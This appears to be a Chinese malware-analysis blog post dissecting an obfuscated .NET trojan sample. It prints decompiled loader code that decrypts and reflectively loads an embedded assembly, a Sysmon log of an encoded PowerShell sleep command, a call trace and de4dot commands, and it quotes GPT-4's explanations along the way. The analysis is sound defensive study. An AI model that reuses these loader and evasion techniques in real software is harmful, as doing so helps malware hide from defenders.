木马样本分析: 99b02a32a9d92c521de94a53dcd93078a357d0e2f26fdeb57735a53fee9b60fa,一个.net SmartAssembly混淆的样本
csharp的类:
using System; using System.ComponentModel; using System.Drawing; using System.Windows.Forms; // Token: 0x02000009 RID: 9 public sealed class \u0006 : Form { // Token: 0x06000013 RID: 19 RVA: 0x00002464 File Offset: 0x00000664 public \u0006() { if (!false) { this.\u0003(); } if (-1 != 0) { this.\u0002(); } } // Token: 0x06000014 RID: 20 RVA: 0x00002488 File Offset: 0x00000688 public void \u0002() { new \u000E(); if (-1 == 0) { } } // Token: 0x06000015 RID: 21 RVA: 0x0000249C File Offset: 0x0000069C protected override void Dispose(bool \u0002) { while (\u0002) { while (!false) { if (this.\u0002 == null) { goto IL_1C; } if (4 != 0) { this.\u0002.Dispose(); goto IL_1C; } } } IL_1C: while (5 != 0) { base.Dispose(\u0002); if (-1 != 0) { return; } } } // Token: 0x06000016 RID: 22 RVA: 0x000024F4 File Offset: 0x000006F4 private void \u0003() { IContainer u = new Container(); if (2 != 0) { this.\u0002 = u; } AutoScaleMode autoScaleMode = AutoScaleMode.Font; if (true) { base.AutoScaleMode = autoScaleMode; } Size clientSize = new Size(800, 450); if (!false) { base.ClientSize = clientSize; } this.Text = "Form1"; } // Token: 0x04000005 RID: 5 private IContainer \u0002; } using System; using System.ComponentModel; using System.Drawing; using System.Windows.Forms; // Token: 0x02000002 RID: 2 public sealed class \u0002 : Form { // Token: 0x06000001 RID: 1 RVA: 0x00002050 File Offset: 0x00000250 public \u0002() { if (!false) { this.\u0002(); } } // Token: 0x06000002 RID: 2 RVA: 0x00002068 File Offset: 0x00000268 protected override void Dispose(bool \u0002) { while (\u0002) { while (!false) { if (this.\u0002 == null) { goto IL_1C; } if (4 != 0) { this.\u0002.Dispose(); goto IL_1C; } } } IL_1C: while (6 != 0) { base.Dispose(\u0002); if (-1 != 0) { return; } } } // Token: 0x06000003 RID: 3 RVA: 0x000020C0 File Offset: 0x000002C0 private void \u0002() { IContainer u = new Container(); if (!false) { this.\u0002 = u; } AutoScaleMode autoScaleMode = AutoScaleMode.Font; if (5 != 0) { base.AutoScaleMode = autoScaleMode; } Size clientSize = new Size(619, 891); if (!false) { base.ClientSize = clientSize; } this.Text = "Egftzbcbbzdhticgiqwckeq"; } // Token: 0x04000001 RID: 1 private IContainer \u0002; } using System; using System.Collections.Generic; using System.Linq; using System.Reflection; using \u0003; // Token: 0x02000004 RID: 4 public sealed class \u0003 { // Token: 0x06000007 RID: 7 RVA: 0x00002228 File Offset: 0x00000428 public \u0003() { if (8 == 0) { } base..ctor(); } // Token: 0x06000008 RID: 8 RVA: 0x00002248 File Offset: 0x00000448 public object \u0002() { IEnumerable<Type> types = (new \u0001().\u0002() as Assembly).GetTypes(); Func<Type, bool> predicate; if ((predicate = \u0003.\u0002.\u0003) == null) { Func<Type, bool> u = predicate = new Func<Type, bool>(\u0003.\u0002.\u0002.\u0002); if (true) { \u0003.\u0002.\u0003 = u; } } return types.First(predicate); } // Token: 0x02000005 RID: 5 [Serializable] private sealed class \u0002 { // Token: 0x06000009 RID: 9 RVA: 0x000022A8 File Offset: 0x000004A8 // Note: this type is marked as 'beforefieldinit'. static \u0002() { \u0003.\u0002 u = new \u0003.\u0002(); if (7 != 0) { global::\u0003.\u0002.\u0002 = u; } } // Token: 0x0600000A RID: 10 RVA: 0x000022C0 File Offset: 0x000004C0 public \u0002() { if (!true) { } base..ctor(); } // Token: 0x0600000B RID: 11 RVA: 0x000022E0 File Offset: 0x000004E0 internal bool \u0002(Type \u0002) { if (!true) { } bool result = \u0002.FullName == "Uhgdnffvww.Nrkvupwzlghuenvdpryhp"; while (false) { } return result; } // Token: 0x04000003 RID: 3 public static readonly \u0003.\u0002 \u0002; // Token: 0x04000004 RID: 4 public static Func<Type, bool> \u0003; } } using System; using System.Text; using \u0003; // Token: 0x02000007 RID: 7 public sealed class \u0005 { // Token: 0x0600000E RID: 14 RVA: 0x00002348 File Offset: 0x00000548 public \u0005() { if (3 == 0) { } base..ctor(); } // Token: 0x0600000F RID: 15 RVA: 0x00002368 File Offset: 0x00000568 public static byte[] \u0002() { byte[] array2; for (;;) { IL_00: byte[] array = null; if (5 != 0) { array2 = array; } while (array2 == null) { if (false) { goto IL_00; } try { if (2 != 0) { byte[] array3 = Convert.FromBase64String(Encoding.UTF8.GetString(\u0003.\u0002.\u0002())); if (7 != 0) { array2 = array3; } } } catch { } } break; } int num2; int num = num2 = 0; if (num != 0) { goto IL_78; } int num3; if (7 != 0) { num3 = num; } IL_52: int num5; int num4 = num5 = array2.Length; int num6; if (3 != 0) { num6 = num4 - 1; goto IL_7B; } IL_76: num3 = num5; num2 = num6; IL_78: num6 = num2 - 1; IL_7B: if (false) { goto IL_52; } if (num3 >= num6) { return array2; } byte b = array2[num3]; do { array2[num3] = array2[num6]; } while (5 == 0); array2[num6] = b; num5 = num3 + 1; goto IL_76; } // Token: 0x06000010 RID: 16 RVA: 0x00002418 File Offset: 0x00000618 private static byte[] \u0002(string \u0002) { return null; } } using System; // Token: 0x0200000A RID: 10 public sealed class \u0008 { // Token: 0x06000017 RID: 23 RVA: 0x00002570 File Offset: 0x00000770 public \u0008() { if (6 == 0) { } base..ctor(); } // Token: 0x06000018 RID: 24 RVA: 0x00002590 File Offset: 0x00000790 public byte[] \u0002() { return \u0005.\u0002(); } } using System; using System.ComponentModel; using System.Drawing; using System.Reflection; using System.Windows.Forms; // Token: 0x0200000D RID: 13 public sealed class \u000E : Form { // Token: 0x0600001E RID: 30 RVA: 0x0000263C File Offset: 0x0000083C public \u000E() { this.\u0002(); if (3 != 0) { this.\u0002(); } } // Token: 0x0600001F RID: 31 RVA: 0x0000265C File Offset: 0x0000085C public object \u0002() { return (new \u0003().\u0002() as Type).InvokeMember("Stekpclshkmhjxvpfqhhm", BindingFlags.InvokeMethod, null, null, null); } // Token: 0x06000020 RID: 32 RVA: 0x0000268C File Offset: 0x0000088C protected override void Dispose(bool \u0002) { while (\u0002) { while (!false) { if (this.\u0002 == null) { goto IL_1C; } if (4 != 0) { this.\u0002.Dispose(); goto IL_1C; } } } IL_1C: while (7 != 0) { base.Dispose(\u0002); if (-1 != 0) { return; } } } // Token: 0x06000021 RID: 33 RVA: 0x000026E4 File Offset: 0x000008E4 private void \u0002() { for (;;) { if (!true) { goto IL_81; } if (!false) { if (6 == 0) { goto IL_12; } base.SuspendLayout(); goto IL_12; } IL_70: if (6 == 0) { goto IL_12; } if (7 != 0) { break; } continue; IL_2B: AutoScaleMode autoScaleMode = AutoScaleMode.Font; if (7 != 0) { base.AutoScaleMode = autoScaleMode; } base.ClientSize = new Size(862, 493); base.Name = "Form2"; this.Text = "Form2"; if (!false) { base.ResumeLayout(false); goto IL_70; } goto IL_12; IL_81: goto IL_2B; IL_12: SizeF autoScaleDimensions = new SizeF(11f, 24f); if (!true) { goto IL_2B; } base.AutoScaleDimensions = autoScaleDimensions; goto IL_81; } } // Token: 0x04000008 RID: 8 private IContainer \u0002; } using System; using System.ComponentModel; using System.Drawing; using System.Windows.Forms; // Token: 0x0200000E RID: 14 public sealed class \u000F : Form { // Token: 0x06000022 RID: 34 RVA: 0x000027C8 File Offset: 0x000009C8 public \u000F() { if (4 != 0) { this.\u0002(); } } // Token: 0x06000023 RID: 35 RVA: 0x000027E0 File Offset: 0x000009E0 protected override void Dispose(bool \u0002) { while (\u0002) { while (!false) { if (this.\u0002 == null) { goto IL_1C; } if (4 != 0) { this.\u0002.Dispose(); goto IL_1C; } } } IL_1C: while (!false) { base.Dispose(\u0002); if (-1 != 0) { return; } } } // Token: 0x06000024 RID: 36 RVA: 0x00002838 File Offset: 0x00000A38 private void \u0002() { IContainer u = new Container(); if (!false) { this.\u0002 = u; } AutoScaleMode autoScaleMode = AutoScaleMode.Font; if (3 != 0) { base.AutoScaleMode = autoScaleMode; } Size clientSize = new Size(904, 778); if (3 != 0) { base.ClientSize = clientSize; } this.Text = "Ftqtqrmcjxdlzl"; } // Token: 0x04000009 RID: 9 private IContainer \u0002; }
为了看懂里面的逻辑,我用gpt4进行询问:
请分析上述几个csharp类的作用
GPT4给的回答:
当然,这里是对给出的几个C#类的分析:
-
类
\u0006
: 这是一个继承自Form
的密封类。类中的构造函数包括两个分支调用,一个是\u0003
方法用于初始化窗体的一些属性,另一个是\u0002
方法,内部创建一个\u000E
对象。这个类还包括了Dispose
方法,该方法用于释放类实例占用的资源。 -
类
\u0002
: 这个类也继承自Form
,类似于上一个类,但窗体大小和标题有所不同。它同样包括了初始化和释放资源的逻辑。 -
类
\u0003
: 此类包括了一个获取特定类型的方法\u0002
,它在一个程序集中查找并返回一个匹配特定全名的类型。 -
类
\u0005
: 这个密封类包含了两个静态方法。其中,\u0002
方法使用了Base64和UTF8编码转换,然后进行字节数组的反转。此外还有一个私有静态方法返回null,它可能是未完成的部分。==》这个就是混淆的核心逻辑了! -
类
\u0008
: 这个密封类包含了一个返回字节数组的方法,该方法调用了\u0005
类中的\u0002
方法。 -
类
\u000E
: 这是另一个继承自Form
的密封类。它有一个返回对象的方法\u0002
,该方法使用反射调用一个特定的方法。它还包括了一个释放资源的方法和一个私有方法用于初始化窗体的属性。
整体来看,这些类主要与窗体的创建和展示、资源的管理和释放、以及反射调用和编码转换有关。代码中还包含了许多无意义的逻辑判断和循环,可能是混淆或者代码生成工具的产物,用于掩盖代码的真实目的或者增加代码的复杂度。
好了,我们在\u0002方法那里设置断点:
看到了啥???这不就是一个PE头嘛!!!
看来这个恶意软件是将自己的PE文件进行了加密处理!
这个代码段似乎是反编译或混淆过的代码,因此可能不太容易理解其具体作用。让我们尝试分析一下:
public object \u0002()
定义了一个公共方法,名字被混淆了。返回类型是object
。Thread.GetDomain()
调用了获取当前线程正在运行的应用域。new \u0008().\u0002()
这一部分创建了一个名为\u0008
的类的实例,并调用了该类的名为\u0002
的方法。方法的返回值类型和具体用途在这个代码段中未知。Load
方法可能用于从给定的程序集或信息加载某些内容。由于上下文和类的具体细节缺失,我们无法确切知道是加载什么内容。
总体来说,这段代码似乎与加载某些程序集或对象有关,可能是在反射或插件加载方面使用。由于代码被混淆,因此难以分析其具体的用途和行为。
从给出的代码片段中,我们无法确切地说Load
方法正在加载一个PE(可执行文件)文件,因为具体的上下文和参数缺失。
在.NET环境中,AppDomain.Load
方法确实用于加载程序集,其中程序集可以是一个包含PE文件的DLL或EXE文件。不过,这通常涉及传递程序集的名称或其他标识信息给Load
方法,我们在这个代码片段中没有看到这样的细节。
由于混淆和上下文的缺失,确定具体的加载内容还需要更多的代码或信息。如果你能提供更多的上下文或细节,我可能能给出更精确的解释。
我们将该文件导出bin后:
发现还是一个.net的执行文件。
// Token: 0x06000012 RID: 18 RVA: 0x0000243C File Offset: 0x0000063C public object \u0002() { return Thread.GetDomain().Load(new \u0008().\u0002()); }
函数调用的地方:
// Token: 0x06000008 RID: 8 RVA: 0x00002248 File Offset: 0x00000448 public object \u0002() { IEnumerable<Type> types = (new \u0001().\u0002() as Assembly).GetTypes();//就这里as Assembly前面就是了!!! Func<Type, bool> predicate; if ((predicate = \u0003.\u0002.\u0003) == null) { Func<Type, bool> u = predicate = new Func<Type, bool>(\u0003.\u0002.\u0002.\u0002); if (true) { \u0003.\u0002.\u0003 = u; } } return types.First(predicate); }
这个函数看起来是在执行反射操作,主要通过以下步骤:
-
获取类型集合:通过创建
\u0001
类的实例并调用其\u0002
方法(可能返回一个Assembly
对象),从而获取包含在该程序集中的所有类型。 -
定义谓词函数:函数中的
predicate
是一个Func<Type, bool>
类型,用于测试特定条件是否满足。代码中涉及一些混淆和可能的单例模式,将\u0003.\u0002.\u0002.\u0002
作为参数传递给谓词构造函数,并可能将其存储在\u0003.\u0002.\u0003
中以供后续使用。 -
搜索符合条件的类型:最后,使用
First
方法与谓词函数一起,从程序集的类型集合中查找第一个满足特定条件的类型,并返回该类型。
此函数的确切作用可能会根据\u0001
类、\u0003
类和谓词函数的实际实现有所不同。这些名称和实现看起来被混淆了,可能是为了防止逆向工程或其他分析。如果你可以提供更多的上下文或相关代码,我可能能够为你提供更精确的解释。
上述函数的返回使用地方在这里:
public object \u0002() { return (new \u0003().\u0002() as Type).InvokeMember("Stekpclshkmhjxvpfqhhm", BindingFlags.InvokeMethod, null, null, null); }
分析这段代码作用呢?
这段代码是在执行反射操作,特别是在调用名为 "Stekpclshkmhjxvpfqhhm"
的方法。我们可以按以下步骤分析它:
-
创建一个新实例:通过调用
\u0003
类的构造函数并调用其\u0002
方法,返回一个对象。 -
类型转换:将返回的对象转换为
Type
类型。 -
反射调用:通过调用
Type.InvokeMember
方法,使用反射调用名为"Stekpclshkmhjxvpfqhhm"
的方法。参数BindingFlags.InvokeMethod
指定要调用的成员类型为方法。 -
返回值:这个方法调用的结果将作为函数的返回值。
结合之前提到的函数,这段代码可能是执行以下操作的一部分:
- 首先通过之前的函数找到满足某个条件的类型。
- 然后通过这段代码创建该类型的实例并调用特定的方法。
名字 "Stekpclshkmhjxvpfqhhm"
和其他标识符似乎已被混淆,可能是为了安全或保护原始代码的原因。这使得分析代码的具体行为变得更为复杂,除非有额外的上下文或反混淆的信息。
我本来想看上述方法的二进制实现。继续跟进去,可以看到一个RuntimeMethodInfo类:
csharp里面的 类定义是internal sealed class RuntimeMethodInfo : MethodInfo, ISerializable, IRuntimeMethodInfo
this.GetMethodBody().GetILAsByteArray() 就可以获取其IL实现。不过为了更简单,
使用sysmon采集,可以看到powershell的调用:
Process Create: RuleName: - UtcTime: 2023-08-22 02:27:14.781 ProcessGuid: {d4c3f587-1d02-64e4-ad05-000000001200} ProcessId: 7132 Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe FileVersion: 10.0.17763.1 (WinBuild.160101.0800) Description: Windows PowerShell Product: Microsoft® Windows® Operating System Company: Microsoft Corporation OriginalFileName: PowerShell.EXE CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ENC cwB0AGEAcgB0AC0AcwBsAGUAZQBwACAALQBzAGUAYwBvAG4AZABzACAAMgAwAA== CurrentDirectory: C:\Users\bonelee\Desktop\ User: DESKTOP-CJ1GAS4\bonelee LogonGuid: {d4c3f587-3123-64e3-55ea-0b0000000000} LogonId: 0xBEA55 TerminalSessionId: 1 IntegrityLevel: Medium Hashes: MD5=83767E18DB29B51A804A9E312D0ED99C,SHA256=1EE3D7C80D075D64F97D04D036E558043F2F6BC959C87CD5B0A6D53B96B96A0F,IMPHASH=D1A922C94A1F407CB2BBCAD033C8ED7A ParentProcessGuid: {d4c3f587-1cb2-64e4-ac05-000000001200} ParentProcessId: 344 ParentImage: C:\Users\bonelee\Desktop\99b02a32a9d92c521de94a53dcd93078a357d0e2f26fdeb57735a53fee9b60fa.exe ParentCommandLine: "C:\Users\bonelee\Desktop\99b02a32a9d92c521de94a53dcd93078a357d0e2f26fdeb57735a53fee9b60fa.exe" ParentUser: DESKTOP-CJ1GAS4\bonelee
问下gpt吧,这段powsershell代码调用是什么意思?powershell.exe -ENC cwB0AGEAcgB0AC0AcwBsAGUAZQBwACAALQBzAGUAYwBvAG4AZABzACAAMgAwAA==
这段PowerShell命令使用了-ENC
参数,它告诉PowerShell以Base64编码执行传递的字符串。这在一些场景下被用来混淆实际执行的命令。
Base64字符串cwB0AGEAcgB0AC0AcwBsAGUAZQBwACAALQBzAGUAYwBvAG4AZABzACAAMgAwAA==
解码后的内容为:
start-sleep -seconds 20
所以这个PowerShell命令会使PowerShell进入休眠状态20秒。它等效于直接执行:
start-sleep -seconds 20
这个命令通常用于在脚本中插入延迟,等待某个过程完成或等待一段时间后执行下一步操作。
真正运行powershell的调用栈,我追踪出来了是:
Uhgdnffvww!\u0008\u2008.\u0008\u2000(bool \u0002) (IL=0x008F, Native=0x0824BC60+0x15F) Uhgdnffvww!\u0008\u2008.\u0003() (IL=0x000E, Native=0x0824BBF8+0x4C) Uhgdnffvww!\u0008\u2008.\u0002(object[] \u0002, System.Type[] \u0003, System.Type[] \u0005, object[] \u0008) (IL=0x00B9, Native=0x08243F48+0x268) Uhgdnffvww!\u0008\u2008.\u0002(System.IO.Stream \u0002, string \u0003, object[] \u0005, System.Type[] \u0008, System.Type[] \u0006, object[] \u000E) (IL≈0x0010, Native=0x082275F8+0x8B) Uhgdnffvww!\u0008\u2008.\u0002(System.IO.Stream \u0002, string \u0003, object[] \u0005) (IL≈0x0000, Native=0x082274E0+0xC2) Uhgdnffvww!\u0002\u2006\u2000.\u0002(string \u0002) (IL≈0x0018, Native=0x08461A90+0x7E) [本机到托管的转换] mscorlib.dll!System.Reflection.RuntimeMethodInfo.UnsafeInvokeInternal(object obj, object[] parameters, object[] arguments) (IL≈0x001E, Native=0x05682230+0xA1) mscorlib.dll!System.Reflection.RuntimeMethodInfo.Invoke(object obj, System.Reflection.BindingFlags invokeAttr, System.Reflection.Binder binder, object[] parameters, System.Globalization.CultureInfo culture) (IL≈0x007F, Native=0x05681740+0x18E) mscorlib.dll!System.Reflection.MethodBase.Invoke(object obj, object[] parameters) (IL≈0x0000, Native=0x00CEF2E8+0x36) Uhgdnffvww!\u0008\u2008.\u0002(System.Reflection.MethodBase \u0002, object \u0003, object[] \u0005) (IL≈0x003B, Native=0x00CEF1B8+0x100) Uhgdnffvww!\u0008\u2008.\u0003(System.Reflection.MethodBase \u0002, object \u0003, object[] \u0005, bool \u0008) (IL≈0x009E, Native=0x00CEE6F0+0x1C1) Uhgdnffvww!\u0008\u2008.\u0002(System.Reflection.MethodBase \u0002, object \u0003, object[] \u0005, bool \u0008) (IL≈0x002A, Native=0x00CE5308+0x12B) Uhgdnffvww!\u0008\u2008.\u0002(System.Reflection.MethodBase \u0002, bool \u0003) (IL≈0x01F6, Native=0x00CE34D0+0x795) Uhgdnffvww!\u0008\u2008.\u0008\u2004\u2000(\u0008\u2008 \u0002, \u000E\u2001 \u0003) (IL=0x0022, Native=0x0824C930+0xB0) Uhgdnffvww!\u0008\u2008.\u0005\u2000() (IL=0x0055, Native=0x0824BE08+0xF0) Uhgdnffvww!\u0008\u2008.\u0008\u2000(bool \u0002) (IL=0x0068, Native=0x0824BC60+0x111) Uhgdnffvww!\u0008\u2008.\u0003() (IL=0x000E, Native=0x0824BBF8+0x4C) Uhgdnffvww!\u0008\u2008.\u0002(object[] \u0002, System.Type[] \u0003, System.Type[] \u0005, object[] \u0008) (IL=0x00B9, Native=0x08243F48+0x268) Uhgdnffvww!\u0008\u2008.\u0002(System.IO.Stream \u0002, string \u0003, object[] \u0005, System.Type[] \u0008, System.Type[] \u0006, object[] \u000E) (IL≈0x0010, Native=0x082275F8+0x8B) Uhgdnffvww!\u0008\u2008.\u0002(System.IO.Stream \u0002, string \u0003, object[] \u0005) (IL≈0x0000, Native=0x082274E0+0xC2) Uhgdnffvww!\u0008\u2008.\u0002(System.IO.Stream \u0002, string \u0003, object[] \u0005) (IL≈0x0000, Native=0x082273D8+0xBC) > Uhgdnffvww!\u0005\u2003\u2000.\u0002() (IL=0x001E, Native=0x0825C2F8+0x72) [本机到托管的转换] mscorlib.dll!System.Reflection.RuntimeMethodInfo.UnsafeInvokeInternal(object obj, object[] parameters, object[] arguments) (IL≈0x000F, Native=0x05682230+0x6B) mscorlib.dll!System.Reflection.RuntimeMethodInfo.Invoke(object obj, System.Reflection.BindingFlags invokeAttr, System.Reflection.Binder binder, object[] parameters, System.Globalization.CultureInfo culture) (IL≈0x007F, Native=0x05681740+0x18E) mscorlib.dll!System.Reflection.MethodBase.Invoke(object obj, object[] parameters) (IL≈0x0000, Native=0x00CEF2E8+0x36) Uhgdnffvww!\u0008\u2008.\u0002(System.Reflection.MethodBase \u0002, object \u0003, object[] \u0005) (IL≈0x003B, Native=0x00CEF1B8+0x100) Uhgdnffvww!\u0008\u2008.\u0003(System.Reflection.MethodBase \u0002, object \u0003, object[] \u0005, bool \u0008) (IL≈0x009E, Native=0x00CEE6F0+0x1C1) Uhgdnffvww!\u0008\u2008.\u0002(System.Reflection.MethodBase \u0002, object \u0003, object[] \u0005, bool \u0008) (IL≈0x002A, Native=0x00CE5308+0x12B) Uhgdnffvww!\u0008\u2008.\u0002(System.Reflection.MethodBase \u0002, bool \u0003) (IL≈0x01F6, Native=0x00CE34D0+0x795) Uhgdnffvww!\u0008\u2008.\u0008\u2004\u2000(\u0008\u2008 \u0002, \u000E\u2001 \u0003) (IL=0x0022, Native=0x0824C930+0xB0) Uhgdnffvww!\u0008\u2008.\u0005\u2000() (IL=0x0055, Native=0x0824BE08+0xF0) Uhgdnffvww!\u0008\u2008.\u0008\u2000(bool \u0002) (IL=0x0068, Native=0x0824BC60+0x111) Uhgdnffvww!\u0008\u2008.\u0003() (IL=0x000E, Native=0x0824BBF8+0x4C) Uhgdnffvww!\u0008\u2008.\u0002(object[] \u0002, System.Type[] \u0003, System.Type[] \u0005, object[] \u0008) (IL=0x00B9, Native=0x08243F48+0x268) Uhgdnffvww!\u0008\u2008.\u0002(System.IO.Stream \u0002, string \u0003, object[] \u0005, System.Type[] \u0008, System.Type[] \u0006, object[] \u000E) (IL≈0x0010, Native=0x082275F8+0x8B) Uhgdnffvww!\u0008\u2008.\u0002(System.IO.Stream \u0002, string \u0003, object[] \u0005) (IL≈0x0000, Native=0x082274E0+0xC2) Uhgdnffvww!\u0008\u2008.\u0002(System.IO.Stream \u0002, string \u0003, object[] \u0005) (IL≈0x0000, Native=0x082273D8+0xBC) Uhgdnffvww!Uhgdnffvww.Nrkvupwzlghuenvdpryhp.Stekpclshkmhjxvpfqhhm() (IL=0x001E, Native=0x081E6890+0x75) [本机到托管的转换] mscorlib.dll!System.Reflection.RuntimeMethodInfo.UnsafeInvokeInternal(object obj, object[] parameters, object[] arguments) (IL≈0x000F, Native=0x05682230+0x6B) mscorlib.dll!System.Reflection.RuntimeMethodInfo.Invoke(object obj, System.Reflection.BindingFlags invokeAttr, System.Reflection.Binder binder, object[] parameters, System.Globalization.CultureInfo culture) (IL≈0x007F, Native=0x05681740+0x18E) mscorlib.dll!System.RuntimeType.InvokeMember(string name, System.Reflection.BindingFlags bindingFlags, System.Reflection.Binder binder, object target, object[] providedArgs, System.Reflection.ParameterModifier[] modifiers, System.Globalization.CultureInfo culture, string[] namedParams) (IL≈0x06D6, Native=0x081E37C8+0x168B) mscorlib.dll!System.Type.InvokeMember(string name, System.Reflection.BindingFlags invokeAttr, System.Reflection.Binder binder, object target, object[] args) (IL≈0x0000, Native=0x081E35B8+0x3F) 99b02a32a9d92c521de94a53dcd93078a357d0e2f26fdeb57735a53fee9b60fa-cleaned.exe!Form2.method_0() (IL≈0x000A, Native=0x061DC3E8+0x73) 99b02a32a9d92c521de94a53dcd93078a357d0e2f26fdeb57735a53fee9b60fa-cleaned.exe!Form2.Form2() (IL≈0x0006, Native=0x061DBF90+0x2C) 99b02a32a9d92c521de94a53dcd93078a357d0e2f26fdeb57735a53fee9b60fa-cleaned.exe!GForm1.method_0() (IL=0x0005, Native=0x061DBF48+0x31) 99b02a32a9d92c521de94a53dcd93078a357d0e2f26fdeb57735a53fee9b60fa-cleaned.exe!GForm1.GForm1() (IL=0x0012, Native=0x02CF5988+0x2D) 99b02a32a9d92c521de94a53dcd93078a357d0e2f26fdeb57735a53fee9b60fa-cleaned.exe!ns0.Class1.Main() (IL=0x0005, Native=0x02CF5938+0x2C)
反混淆以后的代码:
using System; using System.Diagnostics; // Token: 0x02000010 RID: 16 internal static class Class13 { // Token: 0x0600004A RID: 74 RVA: 0x00005FE4 File Offset: 0x000041E4 internal static Process smethod_0(string string_0) { object[] object_ = new object[] { string_0 }; return (Process)Class44.smethod_0().method_34(Class44.smethod_2(), "\\1tS,]Y2&3", object_); } }
// Token: 0x0200004C RID: 76 internal static class Class44 { // Token: 0x06000178 RID: 376 RVA: 0x00002D63 File Offset: 0x00000F63 [MethodImpl(MethodImplOptions.Synchronized)] public static Class103 smethod_0() { if (Class44.class68_0 == null) { Class44.class68_0 = new Class68(); } return new Class103(Class44.class68_0); }
Class44.smethod_2的实现:
// Token: 0x0600017A RID: 378 RVA: 0x000078EC File Offset: 0x00005AEC public static Stream smethod_2() { if (Class44.stream_0 == null) { Class44.stream_0 = Class165.smethod_0(typeof(Class44).Assembly.GetManifestResourceStream("708450bd7fdc4e06406d9e5e99f1922f"), new byte[] { 156, 103, 252, 67, 121, 99, byte.MaxValue, 86, 185, 197, 162, 200, 142, 237, 4, 233, 225, 121, 159, 181, 133, 47, 176, 167, 176, 241, 126, 86, 191, 169, 105, 44, 94, 71, 85, 239, 97, 243, 253, 159, 4, 105, 68, 21, 237, 207, 56, 19, 56, 93, 157, 125, byte.MaxValue, 204, 60, 186, 185, 228, 169, 76, 212, 181, 221, 235, 28, 10, 102, byte.MaxValue, 122, 132, 33, 34, 173, 65, 188, 217, 220, 31, 113, 242, 49, 198, 201, 87, 166, 138, 229, 44, 249, 103, 200, 92, 242, 29, 180, 48, 189, 12, 198, 66, 201, 145, 229, 170, 141, 222, 27, 198, 7, 48, 241, 186, 110, 205, 112, 154, 231, 113, 177, 73, 143, 43, 143, 16, 111, 69, 47, 69 }, Class44.smethod_1()); } return Class44.stream_0; }
应该是从资源文件中读取内容,然后执行。
// Token: 0x06000369 RID: 873 RVA: 0x00003CD7 File Offset: 0x00001ED7 public object method_34(Stream stream_1, string string_0, object[] object_3) { return this.method_12(stream_1, string_0, object_3, null, null, null); }
// Token: 0x06000336 RID: 822 RVA: 0x00003B9A File Offset: 0x00001D9A public object method_12(Stream stream_1, string string_0, object[] object_3, Type[] type_9, Type[] type_10, object[] object_4) { this.stream_0 = stream_1; this.method_61(stream_1, string_0); return this.method_35(object_3, type_9, type_10, object_4); }
// Token: 0x060003B8 RID: 952 RVA: 0x00003E67 File Offset: 0x00002067 private void method_61(Stream stream_1, string string_0) { this.method_64(stream_1, 0L, string_0); }
// Token: 0x0600036A RID: 874 RVA: 0x0001156C File Offset: 0x0000F76C private object method_35(object[] object_3, Type[] type_9, Type[] type_10, object[] object_4) { this.method_15(); if (object_3 == null) { object_3 = Class14<object>.gparam_0; } this.object_1 = object_4; this.type_1 = type_9; this.type_7 = type_10; this.class117_3 = this.method_102(object_3); this.class117_2 = this.method_24(); object result; try { Class78 @class = new Class78(this.byte_0); try { using (this.class145_0 = new Class145(@class)) { this.uint_0 = (uint)@class.vmethod_3(); this.bool_0 = false; this.nullable_0 = null; this.uint_2 = 0U; this.uint_1 = 0U; this.method_85(); this.method_37(); } } finally { ((IDisposable)@class).Dispose(); } Type type = this.method_84(this.class31_0.method_8(), false); if (type != Class103.type_3 && this.method_50()) { result = Class117.smethod_0(null, type).vmethod_2(this.method_100()).vmethod_0(); } else { result = null; } } finally { for (int i = 0; i < this.class31_0.method_2().Length; i++) { Class94 class3 = this.class31_0.method_2()[i]; if (class3.method_2()) { Class131 class4 = (Class131)this.class117_3[i]; Type type2 = this.method_84(class3.method_0(), false); object_3[i] = Class117.smethod_0(null, type2.GetElementType()).vmethod_2(class4.method_3()).vmethod_0(); } } this.object_1 = null; this.class117_3 = null; this.class117_2 = null; } return result; }
实际跟踪调试发现: 执行powershell的命令是在这里面 this.method_37();
// Token: 0x060003C4 RID: 964 RVA: 0x00013214 File Offset: 0x00011414 private void method_64(Stream stream_1, long long_1, string string_0) { int int_ = this.method_86(); Class77 class76_ = new Class77(stream_1, int_); this.class145_1 = new Class145(class76_); if (string_0 != null) { long_1 = this.method_56(string_0); } Class76 @class = this.class145_1.method_0(); Class76 obj = @class; lock (obj) { @class.vmethod_9(long_1, 0); this.method_17(this.class145_1); this.class31_0 = this.method_55(this.class145_1); this.class92_0 = Class103.smethod_66(this.class145_1); this.byte_0 = Class103.smethod_197(this.class145_1); } this.method_97(); }
继续跟踪37函数:
// Token: 0x06000371 RID: 881 RVA: 0x00003CF8 File Offset: 0x00001EF8 private void method_37() { this.method_13(false); } // Token: 0x06000338 RID: 824 RVA: 0x0000D98C File Offset: 0x0000BB8C private void method_13(bool bool_2) { uint num = this.uint_0; for (;;) { try { while (!this.bool_0) { if (this.nullable_0 != null) { this.uint_1 = this.nullable_0.Value; this.method_46((long)((ulong)this.uint_1)); this.nullable_0 = null; } else if (this.uint_1 >= num) { break; } this.method_49(); } break; } catch (object object_) { this.method_99(object_, 0U); if (!bool_2) { this.method_13(true); break; } } } }
// Token: 0x06000396 RID: 918 RVA: 0x0001242C File Offset: 0x0001062C private void method_49() { this.uint_2 = this.uint_1; int key = this.class145_0.method_19(); this.uint_1 += 4U; Class103.Struct9 @struct; Class103.dictionary_4.TryGetValue(key, out @struct); @struct.delegate42_0(this, this.method_92(this.class145_0, @struct.byte_0)); }
使用de4dot查看混淆类型:
de4dot.exe -d D:\样本分析\99b02a32a9d92c521de94a53dcd93078a357d0e2f26fdeb57735a53fee9b60fa
de4dot v3.1.41592.3405
Detected SmartAssembly 8.1.2.4975 (D:\样本分析\99b02a32a9d92c521de94a53dcd93078a357d0e2f26fdeb57735a53fee9b60fa)
反混淆:
de4dot.exe D:\样本分析\99b02a32a9d92c521de94a53dcd93078a357d0e2f26fdeb57735a53fee9b60fa -o D:\样本分析\extracted_99.exe